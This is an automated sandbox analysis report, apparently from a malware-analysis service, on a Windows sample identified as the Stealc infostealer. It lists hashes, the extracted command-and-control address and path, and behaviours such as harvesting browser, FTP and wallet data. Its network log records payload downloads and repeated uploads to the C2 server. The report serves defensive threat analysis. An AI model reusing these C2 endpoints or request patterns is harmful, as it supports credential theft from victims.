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Analysis

  • max time kernel
    127s
  • max time network
    129s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    07/05/2024, 23:28 UTC

General

  • Target

    f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff.exe

  • Size

    404KB

  • MD5

    691478d9a39c2d411d59ad4259f24692

  • SHA1

    53b57bfa5ebd35f798a27f8bd3d2dc366602bc5e

  • SHA256

    f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff

  • SHA512

    8f6611e1adf3e7acf314ffd1a706cb36c5aad2cc82936b60dc474adb691be5f12934369b3b943c9139723a7e665e7067cf1a432e69335785b72b3540594c91f1

  • SSDEEP

    6144:zFnmGM8FncD84WsYk8WPdFZ+V3zu4NfCWXmCL/AvBFIUHf1:z5mLrD8xgzJu3zu4Nf5XmiUOw1

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff.exe
    "C:\Users\Admin\AppData\Local\Temp\f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1732
    • C:\Users\Admin\AppData\Local\Temp\u1c4.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u1c4.0.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      PID:2036
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 2428
        3⤵
        • Program crash
        PID:1908
    • C:\Users\Admin\AppData\Local\Temp\u1c4.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u1c4.1.exe"
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4780
      • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4484
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1732 -s 968
      2⤵
      • Program crash
      PID:2988
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1732 -ip 1732
    1⤵
      PID:924
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2036 -ip 2036
      1⤵
        PID:5000

      Network

      • flag-de
        GET
        http://185.172.128.90/cpa/ping.php?substr=eight&s=ab&sub=0
        f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff.exe
        Remote address:
        185.172.128.90:80
        Request
        GET /cpa/ping.php?substr=eight&s=ab&sub=0 HTTP/1.1
        Host: 185.172.128.90
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:01 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 1
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.228/ping.php?substr=eight
        f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff.exe
        Remote address:
        185.172.128.228:80
        Request
        GET /ping.php?substr=eight HTTP/1.1
        Host: 185.172.128.228
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:03 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.59/syncUpd.exe
        f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff.exe
        Remote address:
        185.172.128.59:80
        Request
        GET /syncUpd.exe HTTP/1.1
        Host: 185.172.128.59
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:03 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Tue, 07 May 2024 23:15:02 GMT
        ETag: "41a00-617e55b02d6a9"
        Accept-Ranges: bytes
        Content-Length: 268800
        Content-Type: application/x-msdos-program
      • flag-us
        DNS
        228.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        228.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        8.8.8.8.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        8.8.8.8.in-addr.arpa
        IN PTR
        Response
        8.8.8.8.in-addr.arpa
        IN PTR
        dnsgoogle
      • flag-us
        DNS
        svc.iolo.com
        Remote address:
        8.8.8.8:53
        Request
        svc.iolo.com
        IN A
        Response
        svc.iolo.com
        IN A
        20.157.87.45
      • flag-us
        DNS
        download.iolo.net
        Remote address:
        8.8.8.8:53
        Request
        download.iolo.net
        IN A
        Response
        download.iolo.net
        IN CNAME
        iolo0.b-cdn.net
        iolo0.b-cdn.net
        IN A
        185.93.2.248
      • flag-us
        DNS
        90.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        90.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        59.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        59.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        45.87.157.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        45.87.157.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        westus2-2.in.applicationinsights.azure.com
        Remote address:
        8.8.8.8:53
        Request
        westus2-2.in.applicationinsights.azure.com
        IN A
        Response
        westus2-2.in.applicationinsights.azure.com
        IN CNAME
        westus2-2.in.ai.monitor.azure.com
        westus2-2.in.ai.monitor.azure.com
        IN CNAME
        westus2-2.in.ai.privatelink.monitor.azure.com
        westus2-2.in.ai.privatelink.monitor.azure.com
        IN CNAME
        gig-ai-prod-westus2-0.trafficmanager.net
        gig-ai-prod-westus2-0.trafficmanager.net
        IN CNAME
        gig-ai-prod-wus2-01-app-v4-tag.westus2.cloudapp.azure.com
        gig-ai-prod-wus2-01-app-v4-tag.westus2.cloudapp.azure.com
        IN A
        20.9.155.148
      • flag-us
        DNS
        148.155.9.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        148.155.9.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        nexusrules.officeapps.live.com
        Remote address:
        8.8.8.8:53
        Request
        nexusrules.officeapps.live.com
        IN A
        Response
        nexusrules.officeapps.live.com
        IN CNAME
        prod.nexusrules.live.com.akadns.net
        prod.nexusrules.live.com.akadns.net
        IN A
        52.111.243.29
      • flag-us
        DNS
        29.243.111.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        29.243.111.52.in-addr.arpa
        IN PTR
        Response
      • flag-de
        GET
        http://185.172.128.228/BroomSetup.exe
        f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff.exe
        Remote address:
        185.172.128.228:80
        Request
        GET /BroomSetup.exe HTTP/1.1
        Host: 185.172.128.228
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:03 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Fri, 15 Mar 2024 11:59:56 GMT
        ETag: "4a4030-613b1bf118700"
        Accept-Ranges: bytes
        Content-Length: 4866096
        Content-Type: application/x-msdos-program
      • flag-us
        POST
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        u1c4.1.exe
        Remote address:
        20.157.87.45:80
        Request
        POST /__svc/sbv/DownloadManager.ashx HTTP/1.0
        Connection: keep-alive
        Content-Length: 300
        Host: svc.iolo.com
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Encoding: identity
        User-Agent: Mozilla/3.0 (compatible; Indy Library)
        Response
        HTTP/1.1 200 OK
        cache-control: private
        content-length: 256
        content-type: text/html; charset=utf-8
        x-whom: Ioloweb7
        date: Tue, 07 May 2024 23:29:05 GMT
        set-cookie: SERVERID=svc7; path=/
        connection: close
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----GIJEBKECBAKFBGDGCBGD
        Host: 185.172.128.150
        Content-Length: 217
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:10 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 156
        Keep-Alive: timeout=5, max=100
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----JKJKKKJJJKJKFHJJJJEC
        Host: 185.172.128.150
        Content-Length: 268
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:10 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 1520
        Keep-Alive: timeout=5, max=99
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----BAEGCGCGIEGDHIDHJJEH
        Host: 185.172.128.150
        Content-Length: 267
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:10 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 5416
        Keep-Alive: timeout=5, max=98
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----BFBGCFCFHCFHIECAEHDH
        Host: 185.172.128.150
        Content-Length: 4667
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:10 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=97
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/sqlite3.dll
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/sqlite3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:10 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT
        ETag: "10e436-5e7eeebed8d80"
        Accept-Ranges: bytes
        Content-Length: 1106998
        Content-Type: application/x-msdos-program
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----CGIDHIIJKEBGHJJKFIDA
        Host: 185.172.128.150
        Content-Length: 359
        Connection: Keep-Alive
        Cache-Control: no-cache
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----FHJEGIIEGIDGIDHJDAKF
        Host: 185.172.128.150
        Content-Length: 359
        Connection: Keep-Alive
        Cache-Control: no-cache
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/freebl3.dll
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/freebl3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/mozglue.dll
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/mozglue.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/msvcp140.dll
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/msvcp140.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/nss3.dll
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/nss3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
      • flag-us
        POST
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        u1c4.1.exe
        Remote address:
        20.157.87.45:80
        Request
        POST /__svc/sbv/DownloadManager.ashx HTTP/1.0
        Connection: keep-alive
        Content-Length: 300
        Host: svc.iolo.com
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Encoding: identity
        User-Agent: Mozilla/3.0 (compatible; Indy Library)
        Response
        HTTP/1.1 200 OK
        cache-control: private
        content-length: 192
        content-type: text/html; charset=utf-8
        x-whom: Ioloweb9
        date: Tue, 07 May 2024 23:29:17 GMT
        set-cookie: SERVERID=svc9; path=/
        connection: close
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJ
        Host: 185.172.128.150
        Content-Length: 947
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:35 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=100
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFH
        Host: 185.172.128.150
        Content-Length: 267
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:35 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 2408
        Keep-Alive: timeout=5, max=99
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----CFIEBKEHCAKFCBFIDAAK
        Host: 185.172.128.150
        Content-Length: 265
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:35 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 2052
        Keep-Alive: timeout=5, max=98
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHI
        Host: 185.172.128.150
        Content-Length: 15735
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:35 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=97
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----DBFHCGCGDAAKFIECFHDB
        Host: 185.172.128.150
        Content-Length: 15731
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:36 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=96
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----JKEHIIJJECFHJKECFHDG
        Host: 185.172.128.150
        Content-Length: 363
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:36 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=95
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECB
        Host: 185.172.128.150
        Content-Length: 92467
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:36 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=94
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u1c4.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAE
        Host: 185.172.128.150
        Content-Length: 270
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 23:29:36 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=93
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • 185.172.128.90:80
        http://185.172.128.90/cpa/ping.php?substr=eight&s=ab&sub=0
        http
        f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff.exe
        442 B
        280 B
        5
        3

        HTTP Request

        GET http://185.172.128.90/cpa/ping.php?substr=eight&s=ab&sub=0

        HTTP Response

        200
      • 185.172.128.228:80
        http://185.172.128.228/ping.php?substr=eight
        http
        f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff.exe
        376 B
        279 B
        4
        3

        HTTP Request

        GET http://185.172.128.228/ping.php?substr=eight

        HTTP Response

        200
      • 185.172.128.59:80
        http://185.172.128.59/syncUpd.exe
        http
        f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff.exe
        5.1kB
        277.4kB
        107
        209

        HTTP Request

        GET http://185.172.128.59/syncUpd.exe

        HTTP Response

        200
      • 185.172.128.228:80
        http://185.172.128.228/BroomSetup.exe
        http
        f01a499488f8cea475a567c2271de944982be8b32877359a0fe67429628436ff.exe
        139.1kB
        5.0MB
        2672
        3751

        HTTP Request

        GET http://185.172.128.228/BroomSetup.exe

        HTTP Response

        200
      • 20.157.87.45:80
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        http
        u1c4.1.exe
        836 B
        721 B
        6
        6

        HTTP Request

        POST http://svc.iolo.com/__svc/sbv/DownloadManager.ashx

        HTTP Response

        200
      • 185.172.128.150:80
        http://185.172.128.150/b7d0cfdb1d966bdd/nss3.dll
        http
        u1c4.0.exe
        141.3kB
        3.6MB
        2741
        2735

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/sqlite3.dll

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/freebl3.dll

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/mozglue.dll

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/msvcp140.dll

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/nss3.dll
      • 185.93.2.248:443
        download.iolo.net
        tls
        178.9kB
        4.3MB
        2821
        3096
      • 20.157.87.45:80
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        http
        u1c4.1.exe
        1.2kB
        657 B
        7
        6

        HTTP Request

        POST http://svc.iolo.com/__svc/sbv/DownloadManager.ashx

        HTTP Response

        200
      • 20.9.155.148:443
        westus2-2.in.applicationinsights.azure.com
        tls
        SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        2.4kB
        5.5kB
        12
        11
      • 185.172.128.150:80
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        http
        u1c4.0.exe
        136.6kB
        9.3kB
        124
        67

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200
      • 8.8.8.8:53
        228.128.172.185.in-addr.arpa
        dns
        261 B
        343 B
        4
        4

        DNS Request

        228.128.172.185.in-addr.arpa

        DNS Request

        8.8.8.8.in-addr.arpa

        DNS Request

        svc.iolo.com

        DNS Response

        20.157.87.45

        DNS Request

        download.iolo.net

        DNS Response

        185.93.2.248

      • 8.8.8.8:53
        90.128.172.185.in-addr.arpa
        dns
        524 B
        1.1kB
        7
        7

        DNS Request

        90.128.172.185.in-addr.arpa

        DNS Request

        59.128.172.185.in-addr.arpa

        DNS Request

        45.87.157.20.in-addr.arpa

        DNS Request

        westus2-2.in.applicationinsights.azure.com

        DNS Response

        20.9.155.148

        DNS Request

        148.155.9.20.in-addr.arpa

        DNS Request

        nexusrules.officeapps.live.com

        DNS Response

        52.111.243.29

        DNS Request

        29.243.111.52.in-addr.arpa

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\Are.docx

        Filesize

        11KB

        MD5

        a33e5b189842c5867f46566bdbf7a095

        SHA1

        e1c06359f6a76da90d19e8fd95e79c832edb3196

        SHA256

        5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

        SHA512

        f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

      • C:\ProgramData\mozglue.dll

        Filesize

        593KB

        MD5

        c8fd9be83bc728cc04beffafc2907fe9

        SHA1

        95ab9f701e0024cedfbd312bcfe4e726744c4f2e

        SHA256

        ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

        SHA512

        fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

      • C:\ProgramData\nss3.dll

        Filesize

        2.0MB

        MD5

        1cc453cdf74f31e4d913ff9c10acdde2

        SHA1

        6e85eae544d6e965f15fa5c39700fa7202f3aafe

        SHA256

        ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

        SHA512

        dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

      • C:\Users\Admin\AppData\Local\Temp\u1c4.0.exe

        Filesize

        262KB

        MD5

        f0dac37ebcbdf6049fdaddd88f555fe2

        SHA1

        6f0195060249777d77c38622b1c3b0fd7cbc1dfd

        SHA256

        03402214ff5c205ad0bcb67ee7785ff2a438f98cb1994ef5454f49115b3e1a3d

        SHA512

        01862013d331209241812d0b4109db84fede0c8f245af2a718acd1e8925e01b2206ca8987ffb40b6bb2581b27cbcde71e77898c0eb9f1ba6a97e797e915a2239

      • C:\Users\Admin\AppData\Local\Temp\u1c4.1.exe

        Filesize

        4.6MB

        MD5

        397926927bca55be4a77839b1c44de6e

        SHA1

        e10f3434ef3021c399dbba047832f02b3c898dbd

        SHA256

        4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

        SHA512

        cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

      • memory/1732-2-0x00000000048A0000-0x000000000490C000-memory.dmp

        Filesize

        432KB

      • memory/1732-3-0x0000000000400000-0x000000000046F000-memory.dmp

        Filesize

        444KB

      • memory/1732-29-0x0000000000400000-0x000000000046F000-memory.dmp

        Filesize

        444KB

      • memory/1732-28-0x00000000048A0000-0x000000000490C000-memory.dmp

        Filesize

        432KB

      • memory/1732-27-0x0000000000400000-0x0000000002B22000-memory.dmp

        Filesize

        39.1MB

      • memory/1732-1-0x0000000002C40000-0x0000000002D40000-memory.dmp

        Filesize

        1024KB

      • memory/2036-34-0x0000000000400000-0x0000000002AFE000-memory.dmp

        Filesize

        39.0MB

      • memory/2036-158-0x0000000000400000-0x0000000002AFE000-memory.dmp

        Filesize

        39.0MB

      • memory/2036-168-0x0000000000400000-0x0000000002AFE000-memory.dmp

        Filesize

        39.0MB

      • memory/2036-50-0x0000000000400000-0x0000000002AFE000-memory.dmp

        Filesize

        39.0MB

      • memory/2036-96-0x0000000061E00000-0x0000000061EF3000-memory.dmp

        Filesize

        972KB

